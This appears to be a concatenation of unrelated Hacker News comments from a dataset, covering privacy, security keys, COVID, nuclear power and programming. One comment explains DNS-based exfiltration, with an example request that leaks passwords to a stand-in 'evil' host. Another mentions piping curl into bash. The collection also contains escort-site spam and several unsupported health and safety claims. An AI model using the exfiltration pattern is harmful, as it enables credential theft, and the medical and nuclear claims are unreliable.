skysight-inc/HackerNews huggingface dataset:
You can exfiltrate data using regular DNS requests, by hiding the data in the host part of the query. The authoritative name server for the domain can then extract out and re-assemble the data.

https://blogs.akamai.com/2017/09/introduction-to-dns-data-ex...
I would say really deceptive, or perhaps just plain wrong. The circles are, in fact, intended to convey coverage and left me pretty confused about the huge gaps everywhere.

From the about section:

> Dashed lines show the approximate coverage with very conservative viewing slant (approx 60 degrees above horizon, where 90 means vertically overhead).
I think it's very likely, given the Patriot Act has been renew several times since 9/11 despite the fact it was supposed to be a temporary measure.

But I doubt we'll get another Snowden anytime soon to prove it.
Surely it could be true that all population is immune to exposure to exactly half a virion well cooked with sauce, but such an information is pretty useless in any practical way, isn't it?

Half immunity in only certain circumstances is useless for all practical purposes.
If an attacker can mess around with their private API, that attacker can find a vulnerability. If an attacker finds a vulnerability, the attacker can steal user data. Consider the average age of the users and then consider what could happen to the company if they have a data breach. Who knows, it may have already happened, and that's why they are so serious about it now.
I love Mato Jelic's channel.
One thing about GDPR that I've never heard answered convincingly - when a user requests deletion of all of their personal data, does that include also any history of the deletion request itself?
the number of eyes looking at it all the time.
The article writer totally underestimates the effort it takes to get a drug or a vaccine to the patient.

"Months of intense research" have yielded at least 200+ compounds being tested for various activities. Large consortia have formed. A lot of things are being done in parallel to speed up testing (see vaccine research).

It takes time to prove efficacy: remedisivir only showed its efficacy in a 800+ people cohort. At first the time to administration was not correct: lopinavir-ritonavir were thought to be not working, but perhaps they do if given earlier in treatment, and what not.

I don't know what the author's expectations are, but we're witnessing a very fast pace of drug development and testing (not without warts, of course). What did the author expect, a miracle cure in 6 months? Most of the drugs being tested at this point are repurposed: the new ones will be tested through the summer and early autumn.

And there are wins like with dexamethasone, which is effective and cuts down mortality.

I recommend (to the author) a thorough reading of what's going on before launching in such a pessimistic piece. Yes, we might still be in hot waters. No, it's not that we will be destroyed by this coronavirus.

By the way, indications from early data from vaccine development tells us that it immunity is generated. The open questions are the duration, and the efficacy in a diverse population. But that's what trials are for. The fastest vaccine ever made took 4 years, IIRC. We're close to having results in 8 months (positive or not, the data will tell).

P.S.: The cold is mainly caused by rhinoviruses. Coronaviruses only account for a small percentage of that.
IVote: Members of European Parliament needs to have iPad, iPhone, and iCloud
And how many times did your mom say she "went to" or "made requests to" doubleclick today?

We all know the answer. Zero. Whatever your sneaky-browser-behaviour-depending employer wants you to say in public, her answer will be zero. Same as 99.99% of the world.
I mean, you can still be a hard target or a soft target.

I guess this doesn't apply to unique assets like the CIA, but for your regular old e-commerce firm, you can have defences that wouldn't stand up to a sustained, targeted attack by state actors, but still make regular hackers go steal somebody else's DB of customer details.
> They could park a boat in the ocean between London and NYC with equipment to act as a repeater.

They could, but I bet they won't. Speculation is fun but permanent floating platforms are expensive, it's easier to just wait until inter-satellite links.
Huh? The radomes are not the three small devices in that image.
I feel like this argument is the same as ‘how third party apps are allowed in windows and macOS by Microsoft and Apple’

To me there has always been a trusted part of computing which is audited to some extent and marked as trusted. Browser extensions work the same way as software on an operating system. If they blocked all extensions outside trusted ones they would be criticised as well. However the auditing process is very controversial and could become like the Apple’s App Store where the apps/extensions maybe blocked for reasons other than just security to make it anti competitive which is certainly something possible with chrome
I like that guy a lot, humble overachiever, he was described by other elite mountaineers as calm at practically every situation. Not huge ego like many in that business.

That being said, there is survivorship bias with guys like him or Messner - they risked so many times and came out alive that they are by no means representative, rather an exception. Many folks like them lie frozen up there in some crevasse, just because of tiny mistake that you don't even realize you're doing, or simply unlucky with being at bad place at bad time.
Interesting take.
It's most like that song - who the fuck is Alice. Alice has left, gone...
I suspect YubiKey doesn't face price competition from the cheap AliExpress USB flash drive manufacturers because a U2F token from a no-name supplier isn't much better than a mobile app.
It seems you forgot the point that the probability of comet falling is increased by people wearing bike helmet.

You might want to listen the "science vs" episode dedicated to guns for some actual science behind it and the role of guns in violent crime: https://gimletmedia.com/shows/science-vs/z3hlvr
I don't know what happened and haven't looked closely enough to have an opinion. I was only noting in response to your comment that in the hypothetical case of parallel construction, the parallel case would seem logical.

Beyond this specific case, I think the point of parallel construction is an interesting one because it makes it really difficult to know the "truth" where law enforcement have significant control over the flow of information.

Sometimes traditional or other media can help with the information asymmetry but sometimes, perhaps, not.
Facebook's AI contest: Winning team disqualified on buried consent technicality
Which costs? The costs of not having privacy-invading ads?

How much is it costing you to have all the ad cookies and trackers compared to their returns?
How is DoH a net loss to decentralization (by moving to a few major cloud providers) when DoH is merely encrypting the information to prevent MitM spying? Surely nothing stops your favourite ISP or any other local startup from providing DoH services right? Presumably the DNS servers will still talk to each other on the backend over plain text, but if a DoH front-end can be provided by ANY DNS service then how can it be accused of centralising the Internet?
> And yet your anecdotal evidence is much better at estimating risk than it?

Seeing as how my anecdotal situation was a first hand account of the many perils it entails, briefly outling why some of us still have bad PTSD about it, and how that situation ultimately led to the closure of the plant, I'd say: absolutely.

You have a very glib understanding of this situation, and it shows if you still ask such a vapid question.

You have no idea of the amount of corruption that goes on with the NRA at all. Just look how they're handling the wasted material, they're literately burying in casks on site it leaving it in pools and saying 'well, that's good enough' along one of the most active fault lines in N. America right net to the Pacific Ocean!

Edison try to wash its hands of the situation entirely by blaming Mitsubishi who also tried to remove itself from any culpability... and this has gone until recently, like last month. All while nothing got done for nearly 7 years.

And in Japan its worse with the Nuclear village and TEPCO's influence on the Abe cabinet.

You may not know this, but back in 2011 many Japanese women refused to have children after Fukushima, and not just those from Fukushima prefecture (a country with already horrible fertility rates) because of the fallout they saw first hand with the birth defects of the Hibakusha. The amount of deformed babies from WWII is staggering, the amount of displaced people is terrifying, but the fact that they allowed for this technology to be used for commercial applications in a country where Nuclear bombs were used against them in Warfare all while geo-thermal literately covers the entire country is just fucking CRIMINAL.

I still remember 3/11 vividly, as the leak at San Onofre happened not long after and we had to take to protesting against SONGS at personal danger to ourselves--they started to monitor and follow anti-nuclear protestors that later led to mass detainment and interrogation.

I'm sure you can grasp all of that by looking at a spreadsheet on excel.
HN is not GDPR compliant. There's no way to get your account deleted. There are only anecdotal stories of someone getting it done via email and those are countered by claims of others of no success.
https://youtu.be/Dq0WFigax_c?t=912

(on closed vs open and haskell)
Mulberry is not a berry, its a composite fruit. There is such a small chance of toxic Mulberry. A little adventure is fine. If you really have to - start by putting the juice on lips, graduate from there, waiting at least a day between next step. When I pick fruits in the wild, I take a really small bite. But really, if I had to grow a Mulberry I would get a professional to do it for me from a known cultivar.
You can MITM OTP, but you can't MITM U2F. You can copy/steal the OTP secret from a phone app, but you can't copy/steal the U2F private key from a Yubikey (easily).
How many people are looking at the code ? The github commits show only one active contributor.

I use uBlock Origin myself but I sometimes question the faith we place on open-source. We assume someone else is looking at the code.
> What is the largest GDPR fine yet for a violation specifically about website consents?

I don’t think anything big. Which is a shame, because as long as that continues, the fake-compliance popups will continue.

> There seems to be companies selling blatantly noncompliant GDPR popup tech too

We are using one of those (Sourcepoint [0], we don’t pay for it though), they are very configurable, you can be as compliant or non-compliant as you want with their settings. They support all variations.

[0]: https://www.sourcepoint.com/
> Imperial College report

Imperial College is always wrong.
Lua has features to do just that. It is fairly easy for an app to load a protected environment around Lua source code and only expose what you need. You can clamp all forms of filesystem and hardware access and leave the user with only the functions you provide and the language itself.
My current favourite Metric C:

"If you feel like showing off, average everything into everything else and call it the Gross Index of Total Enemy Morale. This won't fool anyone who knows the propaganda business, and you won't be able to do anything with or about it, but you can hang it on a month-by-month chart in the front office, where visitors can be impressed at getting in on a military secret. (Incidentally, if some smart enemy agent sees it and reports it back, enemy intelligence experts will go mad trying to figure out just how you got that figure. It's like the old joke that the average American is ten-elevenths White, 52% female, and always slightly pregnant.)"
Acompanhantes Em São Paulo (SP) Hott Escorts
As acompanhantes de SP mais desejadas e refinadas de São Paulo - SP, site com fotos, vídeos e whatssap gratuito, portal famoso no Google, acesse agora e delicie-se com nossas musas.
AFAIK Chrome will change ad blocking API and uBlock Origin won't follow it. So switch to Firefox.
"The geometric average of all benchmarks is 0.23 or 4.3 times faster than cpython" (see https://speed.pypy.org/)

If we put this figure in context with the CLBG (see https://benchmarksgame-team.pages.debian.net/benchmarksgame/...) we're somewhere between Racket and Dart.

Is a further speedup to be expected? Why is it still slower than V8 after so much development effort?
Wow! This is hard to believe. What were the alternatives that lost to ivote?
Wells doesn't say don't, he says it's completely alien to him but it might be totally valid from a position completely opposite to his. Well, he also calls it unreadable, but that sounds like a fairly objective assessment, after reading the bits quoted in this discussion.
Many people just paste command lines they find on the internet which start with

curl ... | bash
Cellebrite and NSO Group - for starters.
I'm familiar with Burning Chrome, I read it when it came out (after 9yo me figured out how to get to the library on my own and ask the nice lady behind the counter how to order books in - my mum disliked the former part but was impressed with the latter - she was even handed, I got grounded for a week but since I spent most of my time in my room reading I realise now that was superb parenting).
For me it's honest author. I don't trust code, I trust people.
Boogaloos have killed cops and are suspected to have open fire on crowds during protests.

https://www.mercurynews.com/2020/06/17/facebook-shuts-down-g...
Building a reactive calculator in Haskell
Might as well call out this company. it is Similarweb.
In the case of Lua, you can load that data and configuration Lua files in a protected environment with access only to the functions you provide. This is a built-in feature and pattern that many people who are integrating Lua in their app follow.
It's a good question and I don't thing any DPA has said anything specifically on this issue. But if your logs contains personnal data related to the user which made the deletion request, you might be in trouble. And personnal data has a very broad definition.

But honestly this is a very minor point, if that's what is keeping you up at night, you are amongst the most compliant ones !
I know hn doesn't like sarcasm, but saying that infection level off after 10-20% "naturally" after the world experienced the biggest lockdown since the spanish flu, is like saying the fire I saw on the news was extinguished because I took a pee at the same time.

Nevermind resurgences post lockdown in shithole places where people don't follow distancing and don't wear masks -- like India or my belloved Romania -- surely, this fact cannot be explained by this bullshit theory.
Not exactly.

I wouldn't know if you mean "European culture" in the sense of something unique continental European (the way Europeans have unique cultural traits different from US traits, e.g. analytical vs continental philosophy), or the shared western culture Europeans and US Americans, and Australians, etc have?
JavaScript Jems – Functional Iteration
I don’t necessarily think that everything needs to be put on a left to right scale. But you’re also ascribing things to me that I haven’t said.

Conservative just means you want things to stay the same or have things to back to how they were when you decided it was good enough to “conserve it”. In this case the fight is about frustration over lack of progress and lack of acknowledgement that police violence and systemic discrimination both very much exist and are actively harming black people. Most of the working world just sees it through a tiny keyhole in that there’s maybe 1 or 2 black software developers in a company of 1000. We need to get better as stewards of society and the companies we work in.
It is probably more pricing of different products in their selection. If you just need U2F you can get their security keys [0] for 20$. 18$ if you order 50, and probably even cheaper if you ask for > 1000 (i.e. an entreprise customer).

And 5$ manufacturing for 20$ resale is pretty much a standard ratio in consumer goods. I would also argue that a competitor would have a hard time making those at only 5$, making it harder to compete based on price alone.

[0] https://www.yubico.com/product/security-key-by-yubico
I didn't mean to imply that you did.

You're advocating for arbitrarily cruel punishment that is out of line with sentencing guidelines in the US and international human rights conventions more broadly.

Given that, I'm asking where you draw the line when it comes to "violence" and if you'd be satified to see significantly more people imprisoned for life.
Signatures are meaningful when the keys are more secure than the servers hosting the data.

If you download software from a hacked server that serves you malware, the signature check will fail. In contrast, the execute bit can be changed by anyone.

The problem is that you need to get the authentic public key of the software distributor to verify the signature. If an attacker is able to forge the public key, they can easily
forge the signature and the signature check will succeed.
It's essentially what we've done in SF:

1) Allow a million passengers from China to disembark in Calif.

2) Everybody goes to the grocery store twice a week and mingles in a leisurely fashion.

For us, it's worked out great. Probably the lowest measured infection and documented mortality rates in the world for an area that doesn't do testing and tracing.

Seen any apocalyptic news stories about SF hospitals like NY? Nope, me neither.

I'm much more worried about the negative cardiac effects of no exercise than corona deaths.
So another programming language the type "dozens for a dime", that somebody in the middle of their tenure at Uni, out of boring thought "you know what this world is lacking? another programming language".

And after it was done you're like "hey look, V can slingshot a stone up to the hill real fast, hence it can be really fast and really cheap to reach the moon too". Tell you what, when you "reach the moon" using V, same as what Delphi does it, and it's going to be faster then come and talk to me, ok?
I think edge node is just checking if x-snapchat-client-auth valid, without checking if x-snapchat-client-auth is valid for this request. The second check is probably done at deeper level.
Build and autoamte AWS S3 Backups to any internal process (SAMPLE)
Building a Web App in 15 Minutes Using StrapiJS and NextJS
Or just don't let it send data. Most plugins have no need to do that.
Other than a couple of minor developer related extensions the only extension I couldn't live without (in the sense it would make using the web significantly worse) is ublock origin - which is open source, vettable and you can install from the source if you really distrust the extension fronts.
Extension can issue GET https://password1-abc_password2-defzzz-password3-zzzfed.evil... and DNS server run by evilhost.com will log that query.
The main support for this claim are the leaked documents by Snowden that were pusblished in The Washington Post and The Guardian in 2013.

You can find an archive of the article here:

https://www.webcitation.org/mainframe.php

Thankfully, the NSA slides were directly included by wikipedia, so we don't have to hunt them down:

https://en.wikipedia.org/wiki/PRISM_(surveillance_program)#/...

We can see that PRISM targets (or should I say, partners) list contains at least: Microsoft, Yahoo!, Google, Facebook, YouTube, AOL, Skype Apple.

As usual, this is what we know. Meaning what could be extracted, proven, communicated and accepted by the public. A pretty big filter already.
My swift isn't good, but since you didn't specify a type for x, I think it should compile anyway. But if things is an empty array of T, first may return nil and x will be of type T?. If things is an array of optional, x will be of type T??
Possible Role of Vit D Suppressing Cytokine Storm&Mortality in Covid-19 Patients
No.

If it is true that say 50% have a harder time catching covid then given that there is a superspreading event at a choir to 80% you need to take into account the others choirs at the other end of the tail.

I.e. given 100 choirs there will be a distribution of "not easiely infected" individuals with choirs with few off them.

I am not saying anything of the validty of the claim, just that the choir doesnt disprove it.
U.S. courts almost never consider a firm to possess market power if it has a market share of less than 50 percent.

And as much as you might wish it to be so, anti-trust courts are not going to take seriously an argument that Apple is a monopoly because you find a demographic (teens) that they have a larger market share in. Again, you can easily slice and dice markets by customer demographics to make any company a monopoly.

Next.
Same suggestion applies. Show users the warning that extensions can modify your page and have users explicitly approve of it.
But the DPI is low, about half of the retina DPI the article author is on about.
https://i.imgur.com/gh5BPVJ_d.webp

this site is unusable on mobile with the undismissable paywall modal thingy. too bad, because I was interested in the content.
I think the point was that most u2f implementations around don't just allow OTP as backups... they require you to set up OTP first before u2f can be enabled.

It does make a bit of sense. Users can't be trusted not to lose their single token. But rarely is the option to enrol a second u2f key as backup permitted.
How many times can a software producer let the end-customer down and still get away with it in 2020?
your list and

> uMatrix

> PopupWindow https://github.com/ettoolong/PopupWindow (Firefox and Chrome)

> HideScrollbars https://github.com/sergeykish/hide-scrollbars (Chrome for now)

Last two is the possible vector, requires review.

I believe in security through simplicity (suckless style). So I've created one myself.

Any additional feature requires code - like toggle on/off https://github.com/quinton-ashley/firefox-hide-scrollbars.
With Lua you can create environments and define exactly what functions and libraries that environment has access to, and then execute/load your configuration or data file into it. This way it can't have access to i/o or whatever you want to prevent it from accessing. This is a built-in feature since this is a very common use case for Lua.

Lua is not far too powerful, Lua is as powerful as you want it to be.
I don't think it's a lattice per se, but Darcs had a notion of an "algebra of patches": http://darcs.net/Theory/GaneshPatchAlgebra. Pijul does something similar, claiming to have "a formally correct version of Darcs' theory of patches" https://pijul.org/manual/why_pijul.html

I've never used Pijul, but I miss Darcs almost every day when interacting with Git.
If DHH truly cared about Apple issues he’d write a twitter rant about this too.
We knew who Zuckerberg were since the "They trust me. Dumb fucks" line was reported.

FB behavior didnt show any reason to believe he would have had a change of heart ever since.
is there a greater mystery than existence itself?
100% of my interest in James Joyce comes from Joseph Campbell.

The first time I tried to read Joyce my attempt did not go well because I didn't really understand why Campbell was so taken with these works, so my own expectations about what I was getting into were wildly off the mark.

So I really get where H. G. Wells is coming from. Though I have to admit that Wells' writing is way, way more articulate than my thoughts at the time.

Many years later I got back into Joseph Campbell by way of Julian Jaynes and wound up with Finnegan's Wake again only I suppose with a different set of expectations and perspective. It's still not something I personally would read for idle pleasure but I feel like I'm understanding more of the big picture Joseph Campbell was all about, so it was a worthwhile read.